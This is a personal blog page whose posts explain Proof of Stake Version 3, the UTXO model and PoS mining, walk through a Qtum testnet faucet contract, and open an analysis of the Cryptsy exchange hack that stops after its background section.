The missing explanation of Proof of Stake Version 3

In every cryptocurrency there must be some consensus mechanism which keeps the entire distributed network in sync. When Bitcoin first came out, it introduced the Proof of Work (PoW) system. PoW is done by cryptographically hashing a piece of data (the block header) over and over. Because of how one-way hashing works. One tiny change in the data can cause an extremely different hash to come of it. Participants in the network determine if the PoW is valid complete by judging if the final hash meets a certain condition, called difficulty. The difficulty is an ever changing "target" which the hash must meet or exceed. Whenever the network is creating more blocks than scheduled, this target is changed automatically by the network so that the target becomes more and more difficult to meet. And thus, requires more and more computing power to find a hash that matches the target within the target time of 10 minutes.

Definitions

Some basic definitions might be unfamiliar to some people not familiar with the blockchain code, these are:

  • UTXO - Unspent Transaction Output
  • vin - In a transaction a 'vin' is a UTXO that is being spent as an "input"
  • vout - In a transaction, a 'vout' is the new UTXO that is being created as an "output". The 'vouts' is effectively all of the coins sent after the transaction is complete
  • hashing - The process of creating a hash. This takes an arbritrary amount of data as input, and outputs a fixed size "digest" which is impossible to reverse. Additionally, if you change anything about the input data, it drastically changes the output digest.
  • hash - The result of a hashing algorithm.
  • script - The computer program that determines how a vout/UTXO is spent.
  • pay-to-pubkeyhash script - The most common script used to send money in Bitcoin and other cryptocurrencies. In order to send money, all you need to know is the hash of their public key (commonly represented as a base58 address), and in order to spend the received money all that is needed is a signature from the public key, and the public key itself.
  • pay-to-pubkey script - A very simple script which has very similar functionality to pubkeyhash scripts. However, instead of sending money to the hash of a public key, the money is sent to the public key itself. All that is needed for spending is a cryptographic signature proving ownership of the public key.
  • prevout - The vout which is spent (as a vin) in a transaction
  • OP_RETURN script - OP_RETURN is an operation used in script which effectively makes an output provably unspendable. It is commonly used to hold small amounts of data on the blockchain without polluting the UTXO set.

Proof of Work and Blockchain Consensus Systems

Proof of Work is a proven consensus mechanism that has made Bitcoin secure and trustworthy for 8 years now. However, it is not without it's fair share of problems. PoW's major drawbacks are:

  1. PoW wastes a lot of electricity, harming the environment.
  2. PoW benefits greatly from economies of scale, so it tends to benefit big players the most, rather than small participants in the network.
  3. PoW provides no incentive to use or keep the tokens.
  4. PoW has some centralization risks, because it tends to encourage miners to participate in the biggest mining pool (a group of miners who share the block reward), thus the biggest mining pool operator holds a lot of control over the network.

Proof of Stake was invented to solve many of these problems by allowing participants to create and mine new blocks (and thus also get a block reward), simply by holding onto coins in their wallet and allowing their wallet to do automatic "staking". Proof Of Stake was originally invented by Sunny King and implemented in Peercoin. It has since been improved and adapted by many other people. This includes "Proof of Stake Version 2" by Pavel Vasin, "Proof of Stake Velocity" by Larry Ren, and most recently CASPER by Vlad Zamfir, as well as countless other experiments and lesser known projects.

For Qtum we have decided to build upon "Proof of Stake Version 3", an improvement over version 2 that was also made by Pavel Vasin and implemented in the Blackcoin project. This version of PoS as implemented in Blackcoin is what we will be describing here. Some minor details of it has been modified in Qtum, but the core consensus model is identical.

For many community members and developers alike, proof of stake is a difficult topic, because there has been very little written on how it manages to accomplish keeping the network safe using only proof of ownership of tokens on the network. This blog post will go into fine detail about Proof of Stake Version 3 and how it's blocks are created, validated, and ultimately how a pure Proof of Stake blockchain is possible to secure. This will assume some technical knowledge, but I will try to explain things so that most of the knowledge can be gathered from context. You should at least be familiar with the concept of the UTXO-based blockchain.

Before we talk about PoS, it helps to understand how the much simpler PoW consensus mechanism works. It's mining process can be described in just a few lines of pseudo-code:

while(blockhash > difficulty) {
  block.nonce = block.nonce + 1
  blockhash = sha256(sha256(block))
}

A hash is a cryptographic algorithm which takes an arbritrary amount of input data, does a lot of processing of it, and outputs a fixed-size "digest" of that data. It is impossible to figure out the input data with just the digest. So, PoW tends to function like a lottery, where you find out if you won by creating the hash and checking it against the target, and you create another ticket by changing some piece of data in the block. In Bitcoin's case, nonce is used for this, as well as some other fields (usually called "extraNonce"). Once a blockhash is found which is less than the difficulty target, the block is valid, and can be broadcast to the rest of the distributed network. Miners will then see it and start building the next block on top of this block.

Proof of Stake's Protocol Structures and Rules

Now enter Proof of Stake. We have these goals for PoS:

  1. Impossible to counterfeit a block
  2. Big players do not get disproportionally bigger rewards
  3. More computing power is not useful for creating blocks
  4. No one member of the network can control the entire blockchain

The core concept of PoS is very similar to PoW, a lottery. However, the big difference is that it is not possible to "get more tickets" to the lottery by simply changing some data in the block. Instead of the "block hash" being the lottery ticket to judge against a target, PoS invents the notion of a "kernel hash".

The kernel hash is composed of several pieces of data that are not readily modifiable in the current block. And so, because the miners do not have an easy way to modify the kernel hash, they can not simply iterate through a large amount of hashes like in PoW.

Proof of Stake blocks add many additional consensus rules in order to realize it's goals. First, unlike in PoW, the coinbase transaction (the first transaction in the block) must be empty and reward 0 tokens. Instead, to reward stakers, there is a special "stake transaction" which must be the 2nd transaction in the block. A stake transaction is defined as any transaction that:

  1. Has at least 1 valid vin
  2. It's first vout must be an empty script
  3. It's second vout must not be empty

Furthermore, staking transactions must abide by these rules to be valid in a block:

  1. The second vout must be either a pubkey (not pubkeyhash!) script, or an OP_RETURN script that is unspendable (data-only) but stores data for a public key
  2. The timestamp in the transaction must be equal to the block timestamp
  3. the total output value of a stake transaction must be less than or equal to the total inputs plus the PoS block reward plus the block's total transaction fees. output <= (input + block_reward + tx_fees)
  4. The first spent vin's output must be confirmed by at least 500 blocks (in otherwords, the coins being spent must be at least 500 blocks old)
  5. Though more vins can used and spent in a staking transaction, the first vin is the only one used for consensus parameters.

These rules ensure that the stake transaction is easy to identify, and ensures that it gives enough info to the blockchain to validate the block. The empty vout method is not the only way staking transactions could have been identified, but this was the original design from Sunny King and has worked well enough.

Now that we understand what a staking transaction is, and what rules they must abide by, the next piece is to cover the rules for PoS blocks:

  • Must have exactly 1 staking transaction
  • The staking transaction must be the second transaction in the block
  • The coinbase transaction must have 0 output value and a single empty vout
  • The block timestamp must have it's bottom 4 bits set to 0 (referred to as a "mask" in the source code). This effectively means the blocktime can only be represented in 16 second intervals, decreasing it's granularity
  • The version of the block must be 7
  • A block's "kernel hash" must meet the weighted difficulty for PoS
  • The block hash must be signed by the public key in the staking transaction's second vout. The signature data is placed in the block (but is not included in the formal block hash)
  • The signature stored in the block must be "LowS", which means consisting only of a single piece of data and must be as compressed as possible (no extra leading 0s in the data, or other opcodes)
  • Most other rules for standard PoW blocks apply (valid merkle hash, valid transactions, timestamp is within time drift allowance, etc)

There are a lot of details here that we'll cover in a bit. The most important part that really makes PoS effective lies in the "kernel hash". The kernel hash is used similar to PoW (if hash meets difficulty, then block is valid). However, the kernel hash is not directly modifiable in the context of the current block. We will first cover exactly what goes into these structures and mechanisms, and later explain why this design is exactly this way, and what unexpected consequences can come from minor changes to it.

The Proof of Stake Kernel Hash

The kernel hash specifically consists of the following exact pieces of data (in order):

  • Previous block's "stake modifier" (more detail on this later)
  • Timestamp from "prevout" transaction (the transaction output that is spent by the first vin of the staking transaction)
  • The hash of the prevout transaction
  • The output number of the prevout (ie, which output of the transaction is spent by the staking transaction)
  • Current block time, with the bottom 4 bits set to 0 to reduce granularity. This is the only thing that changes during staking process

The stake modifier of a block is a hash of exactly:

  • The hash of the prevout transaction in PoS blocks, OR the block hash in PoW blocks.
  • The previous block's stake modifier (the genesis block's stake modifier is 0)

The only way to change the current kernel hash (in order to mine a block), is thus to either change your "prevout", or to change the current block time.

A single wallet typically contains many UTXOs. The balance of the wallet is basically the total amount of all the UTXOs that can be spent by the wallet. This is of course the same in a PoS wallet. This is important though, because any output can be used for staking. One of these outputs are what can become the "prevout" in a staking transaction to form a valid PoS block.

Finally, there is one more aspect that is changed in the mining process of a PoS block. The difficulty is weighted against the number of coins in the staking transaction. The PoS difficulty ends up being twice as easy to achieve when staking 2 coins, compared to staking just 1 coin. If this were not the case, then it would encourage creating many tiny UTXOs for staking, which would bloat the size of the blockchain and ultimately cause the entire network to require more resources to maintain, as well as potentially compromise the blockchain's overall security.

So, if we were to show some pseudo-code for finding a valid kernel hash now, it would look like:

while(true){
    foreach(utxo in wallet){
        blockTime = currentTime - currentTime % 16
        posDifficulty = difficulty * utxo.value
        hash = hash(previousStakeModifier << utxo.time << utxo.hash << utxo.n << blockTime)
        if(hash < posDifficulty){
            done
        }
    } 
    wait 16s -- wait 16 seconds, until the block time can be changed
}

This code isn't so easy to understand as our PoW example, so I'll attempt to explain it in plain english:

Do the following over and over for infinity: 
Calculate the blockTime to be the current time minus itself modulus 16 (modulus is like dividing by 16, but then only instead of taking the result, taking the remainder)
Calculate the posDifficulty as the network difficulty, multiplied by the number of coins held by the UTXO. 
Cycle through each UTXO in the wallet. With each UTXO, calculate a SHA256 hash using the previous block's stake modifier, as well as some data from the the UTXO, and finally the blockTime. Compare this hash to the posDifficulty. If the hash is less than the posDifficulty, then the kernel hash is valid and you can create a new block. 
After going through all UTXOs, if no hash produced is less than the posDifficulty, then wait 16 seconds and do it all over again. 

Now that we have found a valid kernel hash using one of the UTXOs we can spend, we can create a staking transaction. This staking transaction will have 1 vin, which spends the UTXO we found that has a valid kernel hash. It will have (at least) 2 vouts. The first vout will be empty, identifying to the blockchain that it is a staking transaction. The second vout will either contain an OP_RETURN data transaction that contains a single public key, or it will contain a pay-to-pubkey script. The latter is usually used for simplicity, but using a data transaction for this allows for some advanced use cases (such as a separate block signing machine) without needlessly cluttering the UTXO set.

Finally, any transactions from the mempool are added to the block. The only thing left to do now is to create a signature, proving that we have approved the otherwise valid PoS block. The signature must use the public key that is encoded (either as pay-pubkey script, or as a data OP_RETURN script) in the second vout of the staking transaction. The actual data signed in the block hash. After the signature is applied, the block can be broadcast to the network. Nodes in the network will then validate the block and if it finds it valid and there is no better blockchain then it will accept it into it's own blockchain and broadcast the block to all the nodes it has connection to.

Now we have a fully functional and secure PoSv3 blockchain. PoSv3 is what we determined to be most resistant to attack while maintaining a pure decentralized consensus system (ie, without master nodes or currators). To understand why we approached this conclusion however, we must understand it's history.

PoSv3's History

Proof of Stake has a fairly long history. I won't cover every detail, but cover broadly what was changed between each version to arrive at PoSv3 for historical purposes:

PoSv1 - This version is implemented in Peercoin. It relied heavily on the notion of "coin age", or how long a UTXO has not been spent on the blockchain. It's implementation would basically make it so that the higher the coin age, the more the difficulty is reduced. This had the bad side-effect however of encouraging people to only open their wallet every month or longer for staking. Assuming the coins were all relatively old, they would almost instantaneously produce new staking blocks. This however makes double-spend attacks extremely easy to execute. Peercoin itself is not affected by this because it is a hybrid PoW and PoS blockchain, so the PoW blocks mitigated this effect.

PoSv2 - This version removes coin age completely from consensus, as well as using a completely different stake modifier mechanism from v1. The number of changes are too numerous to list here. All of this was done to remove coin age from consensus and make it a safe consensus mechanism without requiring a PoW/PoS hybrid blockchain to mitigate various attacks.

PoSv3 - PoSv3 is really more of an incremental improvement over PoSv2. In PoSv2 the stake modifier also included the previous block time. This was removed to prevent a "short-range" attack where it was possible to iteratively mine an alternative blockchain by iterating through previous block times. PoSv2 used block and transaction times to determine the age of a UTXO; this is not the same as coin age, but rather is the "minimum confirmations required" before a UTXO can be used for staking. This was changed to a much simpler mechanism where the age of a UTXO is determined by it's depth in the blockchain. This thus doesn't incentivize inaccurate timestamps to be used on the blockchain, and is also more immune to "timewarp" attacks. PoSv3 also added support for OP_RETURN coinstake transactions which allows for a vout to contain the public key for signing the block without requiring a full pay-to-pubkey script.

References:

  1. https://peercoin.net/assets/paper/peercoin-paper.pdf
  2. https://blackcoin.co/blackcoin-pos-protocol-v2-whitepaper.pdf
  3. https://www.reddcoin.com/papers/PoSV.pdf
  4. https://blog.ethereum.org/2015/08/01/introducing-casper-friendly-ghost/
  5. https://github.com/JohnDolittle/blackcoin-old/blob/master/src/kernel.h#L11
  6. https://github.com/JohnDolittle/blackcoin-old/blob/master/src/main.cpp#L2032
  7. https://github.com/JohnDolittle/blackcoin-old/blob/master/src/main.h#L279
  8. http://earlz.net/view/2017/07/27/1820/what-is-a-utxo-and-how-does-it
  9. https://en.bitcoin.it/wiki/Script#Obsolete_pay-to-pubkey_transaction
  10. https://en.bitcoin.it/wiki/Script#Standard_Transaction_to_Bitcoin_address_.28pay-to-pubkey-hash.29
  11. https://en.bitcoin.it/wiki/Script#Provably_Unspendable.2FPrunable_Outputs
Posted: 7/27/2017 7:04:13 PM

What is a UTXO, and how does it work for a blockchain ledger?

Today I'd like to introduce the basics of how a blockchain works, and how it keeps track of money in a secure manner. I will be covering the UTXO model, as it is used by Bitcoin and Qtum. There is another way of managing funds on the blockchain called the account model, but it will not be covered here.

First I'd like to give some definitions in case you do not know anything about Bitcoin.

  • One-way hash (or just "hash") - A cryptographic algorithm which converts an arbtritrary amount of data into a fixed-length "digest". The algorithm does this in a way that given just the digest it is impossible to determine what the input data was, and furthermore it is impossible to predict what the digest is from the given input data. The most common example is SHA256 which is used extensively in Bitcoin, but there are many others including SHA3, RIPEMD160, scrypt, and many others.
  • Public key cryptography - A cryptographic mechanism by which a "private" secret key can be converted into a "public" key and used to prove ownership of the private key without giving away the secret. Additionally it is possible to encrypt data using the public key so that only the person holding the private key can decrypt it. In Bitcoin this is commonly used to sign transactions. It is possible to prove that the creator of the transaction owns the secret private key by using only the signature data and the public key.
  • Merkle root - A tree data structure that uses one-way hashing to hold multiple pieces of data making it so that any data in the input of the tree can not be modified without changing the final value of the merkle root hash.
  • UTXO - Unspent Transaction Output, an unspent vout from a transaction
  • Block - The smallest verifiable and unforgeable unit on the blockchain. It contains various data to prove it's consensus as well as transactions

So, let's talk about how transactions work in this. Transactions in Bitcoin resemble a cashier's check in some ways. When you want to spend an "output" of a transaction you must spend the entire thing. It's similar to how you can't walk into the bank and say "I want to cash half of this check". However, in this model there is no equivalent of cash or bank accounts. So in order to send money anywhere you must "cash" a check written out to you, and "output" from that cashing process a check to your intended destination, and another check back to yourself.

This "cashing process" is actually a transaction in Bitcoin. In a transaction you spend 1 or more "checks" (actually known as UTXOs) and create 1 or more UTXOs to new destinations from those spent funds. The UTXOs you spend in a transaction are called "vins", and the new UTXOs you create are called "vouts". Once a UTXO is spent by a transaction it can be considered gone and destroyed. You can see it's history in the blockchain, but there is nothing that can done with it.

So, one problem in our system so far is that checks are normally written out to names, such as "Jordan Earls". Anyone of course can say they are any name on the internet. This is where we introduce public key cryptography and programming into UTXOs. In Bitcoin UTXOs contain a script, or a computer program, which are only spendable if you can make that script end by saying "True". Let's look at the most simple script possible that does something useful:

[pubKey] OP_CHECKSIG

This is referred to as a "pay-to-pubkey" script. It was the first standard Bitcoin transaction type. The first item is [pubKey]. This is the data for a public key. Remember that for each public key there is a private key which is kept secret by it's owner. It is safe to publish the public key, but not the private key. The Bitcoin "Script" language is stack based. So imagine you have a stack of papers. You write the public key on a piece of paper and then place it on the stack. The next piece of this script is OP_CHECKSIG. This specific operation will take 2 things off of the top of the stack. The first thing it takes off is the public key. Then, the second thing it takes off is the cryptographic signature.

This is confusing now though. OP_CHECKSIG takes 2 values from the stack (also known as arguments), but our script appears to only have 1 value, pubKey. This is where the vin portion becomes important. You can imagine the vout script as the "pay to" field on a check, and the vin script as the place you sign on the back, proving that you are indeed the intended party from the "pay to" field. In Bitcoin, a script is not executed until it is spent. And when it is spent, it first executes the vin script, and then places the resulting data from the vin stack on to the vout stack. So in actual execution, the script might look rather like:

[signature from vin] [pubKey] OP_CHECKSIG

One could consider the vout script as a challenge, and the vin as the answer to give the vout to satisfy it. Anyway, now that we have a vin providing the signature and attempting to spend these funds, we can actually execute the script. If the signature and public key is valid, then OP_CHECKSIG will push "true" on the stack, resulting in the UTXO being succesfully spent.

So in a transaction, each vin specifies a previous UTXO, and provides an answer that causes the UTXO's script to return "true". If an invalid signature or similar is used, then the scripts will return "false" and the transaction will not be valid. It is not possible to partially spend a UTXO. It must be completely spent or left untouched. This means that if you have a UTXO worth 10 tokens, and you want to send 7 tokens to Bob, then you must make a transaction that spends this 10 token UTXO, and creates 2 outputs. One output to Bob (using his public key), and one output back to yourself (ensuring that you can provide an "answer" to the vout to spend it successfully). This second output back to yourself is called a "change address".

Finally, we have a reasonable way of exchanging tokens using transactions and scripts. However, we face a problem. When someone sends you a transaction output, how can you be sure that their vins for that transaction only use unspent outputs. This is where the concept of the blockchain becomes important.

A block in Bitcoin has a header. The header contains the following:

  • Version
  • Previous block header hash
  • Merkle root hash of all transactions in the block
  • Time of creation
  • Difficulty
  • Nonce

The body of the block is complete transactions (and eventually witnesses as well, but that's another topic).

Because each block includes a reference to the previous block, it is impossible to modify a previous block sereptitiously. To modify a previous block would change the block hash, and thus break the "chain" made of block hashes.

Bitcoin uses the Proof of Work (PoW) consensus system. This will be explained more in a later article, but basically it is a system which requires participants (miners) in the block creation process to put in a certain amount of computational work to solve a difficult puzzle. The first miner to solve the puzzle gets a reward and their created block is added to the network's blockchain. How much work must be done is controlled by the "difficulty" specified in the block.

In PoW, only the block header is actually used for the consensus mechanism. The merkle root hash ensures that despite this, it is possible to validate every transaction in the body of the block, as well as ensure that every transaction has been received.

Once a block has been created, it's transactions can be mostly considered permanent. The only way to "double spend" a UTXO is to replace the block in which the spending transaction took place. This can happen naturally in some cases (known as orphan blocks), but as more blocks are built on top of the transaction containing block, the likelyhood of this becomes exponentially less likely, and furthermore, would require exponentially more work to maliciously attack and replace.

This is why many services that accept Bitcoin wait for 3 or 6 confirmations (blocks placed on top of the transaction containing block). It becomes incredibly unlikely that the blockchain could be broken and those funds spent by another transaction.

We have only one remaining problem. Where do the tokens initially come from? They come from the mining process. As part of mining, the miner adds a special transaction called a "coinbase" transaction. This transaction has no inputs, and is allowed to have outputs worth a set amount (currently 12 in Bitcoin). This coinbase transaction is where all of the tokens in circulation actually come from. Without tokens there would be no transactions to create, and thus nothing to be done.

Now we have a functioning blockchain that is capable of holding it's value securely, ensuring that double spends are extremely difficult to execute (and increasing in difficulty with more confirmations). You should now know enough to understand how Bitcoin, Qtum, and other UTXO cryptocurrencies really work at the protocol level and can begin to look into more advanced topics on the blockchain.

References:

  1. https://en.bitcoin.it/wiki/Script#Obsolete_pay-to-pubkey_transaction
Posted: 7/27/2017 6:20:44 PM

The Qtum Sparknet Faucet

I've made a smart contract for the Qtum Sparknet testnet. It functions as a basic faucet. It doesn't help if you don't already have some coins because gas is required to use it. However, if you need more coins you can use this faucet to retrieve 100 coins at a time. You can also use it to send coins to other addresses not owned by you.

Here is the contract code, it's very simple:

pragma solidity ^0.4.11;

contract QtumFaucet {
    uint constant COIN = 100000000;
    function deposit() public payable{
    }
    function withdraw() public{
        uint amount = 100 * COIN;
        if(this.balance < 100 * COIN){
            amount = this.balance;
        }
        if(!msg.sender.send(amount)){
            throw;
        }
    }
    function send(address a) public{
        uint amount = 100 * COIN;
        if(this.balance < 100 * COIN){
            amount = this.balance;
        }
        if(!a.send(amount)){
            throw;
        }
   }

   function() payable{}
}

This contract generates this ABI JSON file:

[{"constant":false,"inputs":[],"name":"withdraw","outputs":[],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"a","type":"address"}],"name":"send","outputs":[],"payable":false,"type":"function"},{"constant":false,"inputs":[],"name":"deposit","outputs":[],"payable":true,"type":"function"},{"payable":true,"type":"fallback"}]

This contract is deployed to the sparknet at address f28aa77dd07ee8a1288ab6f41b23ebf6d605dc3e.

To initially fill this contract I will use "ethabi" like so:

ethabi encode function ~/faucet.json deposit
d0e30db0

I deposit 1000 tokens to the faucet now using sendtocontract:

./qtum-cli sendtocontract f28aa77dd07ee8a1288ab6f41b23ebf6d605dc3e d0e30db0 1000

After this transaction has confirmed we can actually withdraw some funds from the faucet contract. So, lets get an address:

./qtum-cli getaccountaddress x
QUvMQdxMxUuCQ7zLHvAcfmhFWyP9kkjr8C

So, we now use that to construct our ABI data using ethabi again:

ethabi encode function ~/faucet.json send -p QUvMQdxMxUuCQ7zLHvAcfmhFWyP9kkjr8C
error: Tokenizer(FromHex(Invalid character 'Q' at position 0))

Now we face a problem. Solidity doesn't actually use base58 addresses, it uses hex addresses like in Ethereum. This includes the ABI data as well. We must first convert our base58 address QUvMQdxMxUuCQ7zLHvAcfmhFWyP9kkjr8C to a hex address. A recent update to Qtum has added two RPC calls for this purpose: gethexaddress and fromhexaddress.

./qtum-cli gethexaddress QUvMQdxMxUuCQ7zLHvAcfmhFWyP9kkjr8C
5b3a45e69dbbd7b3a9db31a8c855040f35793929

What this does is actually takes the data encoded in the base58 address, validates that it is not corrupted and is the right size, and then will return that data as a hex string. This hex string is the address format that Solidity and thus the ABI uses. So, now we fix our mistake:

ethabi encode function ~/faucet.json send -p 5b3a45e69dbbd7b3a9db31a8c855040f35793929
3e58c58c0000000000000000000000005b3a45e69dbbd7b3a9db31a8c855040f35793929

Now we can use callcontract so that we know how much gas we need to send (or you can skip this if you're confident the default is enough)

./qtum-cli callcontract $FAUCET 3e58c58c0000000000000000000000005b3a45e69dbbd7b3a9db31a8c855040f35793929 
{
  "address": "f28aa77dd07ee8a1288ab6f41b23ebf6d605dc3e",
  "executionResult": {
    "gasUsed": 55978,
    "excepted": "None",
    "newAddress": "f28aa77dd07ee8a1288ab6f41b23ebf6d605dc3e",
    "output": "",
    "codeDeposit": 0,
    "gasRefunded": 0,
    "depositSize": 0,
    "gasForDeposit": 0
  },
  "transactionReceipt": {
    "stateRoot": "4118b6d0685de70ef82c7905e7ab2d691470285b7c56506ffca9b1db21bcb278",
    "gasUsed": 55978,
    "bloom": "00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
    "log": [
    ]
  }
}

Under execution result, the gasUsed field is what we are interested in. It's always safer to send a little more gas than is needed to avoid out of gas exceptions. So, we will use 60,000 for the gas limit.

./qtum-cli sendtocontract $FAUCET 3e58c58c0000000000000000000000005b3a45e69dbbd7b3a9db31a8c855040f35793929 0 60000
{
  "txid": "cb7e8ef370a05665d5dd43d1134b8d0833d1c746d2d618162727c54e0f5a6ef5",
  "sender": "QWqFJB4EUhbBJpGnnnjaeR1mdUJdr6fWkV",
  "hash160": "703357de0cad939a528035cd319f849067fce2c7"
}

You can look at the results on the block explorer. Here is the contract execution. If we look at the block this transaction was included in, we see immediately after the execution transaction we have the Account Abstraction Layer generated transaction which actually sends 100 Qtum to our intended address, QUvMQdxMxUuCQ7zLHvAcfmhFWyP9kkjr8C. Further more, if we look at the coinstake transaction we can see our gas refund as the last output, an output of 0.0004022 Qtum sent to address QWqFJB4EUhbBJpGnnnjaeR1mdUJdr6fWkV.

And finally, in my wallet I also see the 100 tokens that were sent.

This contract is still alive and I'll monitor it and put more coins into it. So join in on the fun and deposit some coins and withdraw them. It's a pretty cool little contract that I made in about 10 minutes.

Posted: 6/30/2017 9:44:54 PM

Account Compromise

Some time ago I lost access to earlz.biz.tm, which was used for my old email earlz@earlz.biz.tm, as well as the Skype account earlzdotnet. If you get a contact by either email or skype from these accounts please report it to me at my actual email, earlz@earlz.net. I'm pursuing legal action as I've found out the guy who stole it is not just sitting on it, but was actively using it.

Tags: scam accounts
Posted: 6/20/2017 6:21:19 PM

About Me

Hello there! My name is Jordan Earls, and this is my website. I program, mess with electronics, play video games, use Linux, play guitar, and of course make websites. Sadly, I don't like beer much, but other alcoholic drinks are nice. My beer substitute has recently been discovered to be hard cider, cause I just can't get into hops.

Also, check out my Github and Bitbucket for my open source stuff (mostly just experiments and incomplete stuff.. but there are a few gems)

I'm currently employed as.. Co-Founder and lead developer of Qtum! It's an extremely exciting blockchain project that is based out of China. As of this writing still in Cleveland, but soon moving to Colorado around the Denver area.

Of course, all opinions on this site are my own and not my company's, blah blah blah.

I like drawing sometimes, even though I can barely make anything more passable than stick figures and scribbles. I love me some good music. My taste falls somewhere between "pop-punk", rock, and blues. I'm a sucker for anything acoustic too. Favorite bands include: Brand New, The Wonder Years, The Black Keys, Motion City Soundtrack, old school Fall Out Boy, old school Green Day, Neutral Milk Hotel, Bayside... and yea. I could go on a while. I've recently started going to concerts and admiring how awesome a few of these bands are.

And on the music note (ha), I also enjoy playing it. I'm not particularly good at any instrument, but I can make noises come from my guitar and bass guitar that aren't horrible. I also enjoy attempting to do songwriting. I won't share anything I've written here unless I think it's really REALLY good, but I have a psuedonym that I publish songs under in my attempts to get feedback on my writing style.

I mess with electronics as well, though my workbench has sat idle entirely too long in the past year or so. To go along with music as well, sometimes I attempt to make a guitar pedal or some such, but my lack of knowledge on audio electronics is pretty crippling. I need to just buy a pedal kit, and then try to make modifications to it to understand things more.. but eh. Most of my "successful" electronics projects have only had digital components and microcontrollers involved. Analog electronics is hard.

Because a picture is worth a thousand words, and I'm not going to type 1000 words here:

Me and Haley

That's me and my wife Haley. Not pictured are our 2 daughters at 3 and 7 years of age. Haley is the one who drags me away from the computer at 4am when I "just have to get this one thing to work". My computer skills have even rubbed off on Taya a bit, though she isn't quite motivated enough yet to learn how to program (her motivation is wanting to make a minecraft mod). One of the few clear words she could say before she was 2 was "CD".

About This Site

Well, I just couldn't resist telling people how this site was made. Anyway, this site is truly one of a kind.

I created this site using C# in ASP.Net running on Mono served by Apache. I did not use WebForms, nor did I use ASP.Net MVC. I used my own MVC framework called LucidMVC. (formerly known as BarelyMVC)

You can find more details about how it really works by reading this blog post. It's a bit out of date, but still gives a good overview.

How To Contact Me

If you need to contact me about something, you can email me at "Earlz at this domain name(earlz.net)". I'm also on the twitters @earlzdotnet

I'm also always online on IRC at freenode. My nick is earlz. I'm not always watching it, but I have a server with irssi so I'm always online. So send a message with how to contact you and I'll get back to you

Also, you can leave a comment on a page around here. I check the hidden global comment list, so I don't have to manually check every page.

Waffles, waffles and more waffles

Donations

If you feel compelled to sending a donation to me, instead just send your donation to a good charity, maybe something protecting net neutrality/censorship, or ACLU, or Archive.org, or something that helps sick kids.

Posted: 5/6/2017 3:31:04 PM

Proof Of Stake Mining, How it actually works

I've seen tons of broad descriptions of proof-of-stake mining like "instead of using computing power, you just leave your wallet open with your coins", but this doesn't explain anything as to how PoS actually works, how it's secure, and why more computing power doesn't give any advantage. So, here I would like to explain it in technical terms, but hopefully broad enough that non-technical people can understand it.

Proof-of-stake mining is similar to Proof-of-work at a technical level. It involves a sort of lottery, similar to proof-of-work, but the difficult of this lottery is weighted depending on how many coins you are staking. The overall process for "attempting" to mine a PoS block is like so:

  1. Add a coinbase transaction, and a staking transaction (in most coins, must be hardcoded as the second transaction)
  2. Prepare block normally, with transactions from network etc
  3. Compute the PoS "kernel"
  4. Compute the "staking difficulty", which is the base difficulty, reduced by a ratio of how many coins you are staking (or in PoS version 1.0's case, the coinage of your coins)
  5. Compare the kernel's hash against the staking difficulty
  6. If the hash meets the difficulty then continue, otherwise go back to step 1 trying other UTXOs in your wallet that are suitable for staking
  7. Now you have a valid PoS block. The final step is to sign the block header, proving that you own the staking transaction from step 1.

Now I'll try to go into a bit more depth.

First, the staking transaction is a special transaction that is not possible on the normal Bitcoin blockchain. It includes the concept of negative fees. Because all stakers know the reward, they add this reward to this transaction, meaning that there are more output coins than input coins. This kind of transaction is only valid in a staking context.

Next, the PoS kernel. This is a bit complicated, but the important part is that nothing in it can be easily changed in the context of this block. In the case of blackcoin, the kernel consists of "stake modifier"(I'll explain that in a bit), current block's timestamp, and data from the "txPrev". The txPrev is the transaction of the output which is spent by the staking transaction(ie, the input to the staking transaction). The data pulled from the txPrev includes blocktime, transaction time, hash, and output number (vout 'n').

Because the txPrev data has already been confirmed in the blockchain, it is immutable. The only piece of data that is mutable is the current blocktime. The current blocktime in PoS coins is actually masked though (ie, the bottom bits are set to 0), so that there is very little entropy that can be had by making minor modifications to it. And the blocktime can not be beyond certain network drift limits, or not all nodes will accept the block. Finally the stake modifier is a value generated by taking some entropy bits from the previous (iirc) 64 blocks and hashing it together to form a relatively random number. It's primary purpose is to make computing future block's (beyond the next block) kernel difficult.

Finally, all the data for the kernel is hashed together. The staking difficulty is computed simply. It takes the standard difficulty from Bitcoin, but makes it so that this difficulty is for 1 coin. If you stake 2 coins, then it's only half the difficulty. For 4 coins only a quarter of the difficulty, etc. There are some restrictions to this. In order to prevent someone from being able to control the network for a chain of blocks with a large number of coins, there is a limit to the amount of staking coins, and thus there is a limit on how much the base difficulty can be reduced by.

Finally, a signature is made, proving that the staking transaction actually belongs to the person creating this block. The signature itself goes into the blockheader so that the signature is part of the blockhash.

All of this put together causes the following effects:

  1. PoS block "mining" does involve hashing and difficulty like PoW, but there are very few mechanisms to change the hash that is given, and so no matter how much computing power you have, it won't help any
  2. The stake modifier prevents predicting which block you will be able to successfully stake, because it adds a lot of uncontrollable entropy to the kernel hash
  3. The more coins you stake, the better chance you have at successfully creating a block, because of the weighted difficulty
  4. In case the network gets stuck due to a sudden drop in the number of people staking, the low-entropy version of the blocktime will eventually allow new kernel hashes to be generated given enough time, giving stakers left on the network a chance to have a successful PoS block
Posted: 3/24/2017 7:01:28 PM

Analyzing the $5.6 Million Exploit and Cryptsy's Security Failings

Yesterday, it was announced that Cryptsy was hacked. They wrote in decent detail what happened, but didn't explain how all of this was possible. I am apparently an expert at doing security reviews of crytpocurrencies, so let's dig in. First though, I need to introduce you to the world of Altcoins, circa 2014. Skip to the next section if you already know all about that crazy time.

For those unfamiliar with altcoins (alternative cryptocurrencies), it's extremely common for a cryptocurrency to rise up for a few weeks, become a hit, and then suddenly die out. I was the dev of 3 different cryptocurrencies and it happens. When it dies out, there is typically no motivation for the developer to continue working on it, because everyone in cryptocurrency at the time was searching for the next Dogecoin. The thing they can put $10 into early and get $1000 out a month later. If you didn't succeed in doing that (or even if you did in some cases), excitement died down and moved to the next hot coin implementing the feature that made people money last time. So, it is extremely common for altcoins to become abandoned after a few months, fall into disrepair, and become broken in various ways. Cryptsy didn't make a mistake in accepting code from a new maintainer of the cryptocurrency.

